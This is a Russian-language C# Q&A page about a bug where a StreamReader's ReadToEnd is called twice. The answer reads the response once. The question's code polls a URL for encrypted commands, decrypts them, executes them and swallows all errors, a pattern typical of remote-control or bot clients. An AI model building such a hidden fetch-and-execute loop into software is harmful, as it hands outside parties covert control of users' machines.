Не могу получить string из Stream - C#
Формулировка задачи:
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config._url);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream stream = response.GetResponseStream();
using (StreamReader sr = new StreamReader(stream))
{
Console.WriteLine(sr.ReadToEnd());
command = Crypt.Decrypt(sr.ReadToEnd(), Config.PassCrypt);
}
Console.WriteLine("command: "+command);
if (command.Length > 0)
{
if (command != sOldCommand)
{
_commandService.ExecuteCommand(command);
sOldCommand = command;
}
}
else
{
_commandService.ExecuteCommand("stop");
sOldCommand = string.Empty;
}
}
catch (Exception) { }Stream stream = response.GetResponseStream();
using (StreamReader sr = new StreamReader(stream))
{
Console.WriteLine(sr.ReadToEnd());
command = Crypt.Decrypt(sr.ReadToEnd(), Config.PassCrypt);
}Решение задачи: «Не могу получить string из Stream»
textual
Листинг программы
using (StreamReader sr = new StreamReader(stream))
{
string responseText = sr.ReadToEnd();
Console.WriteLine(responseText);
command = Crypt.Decrypt(responseText, Config.PassCrypt);
}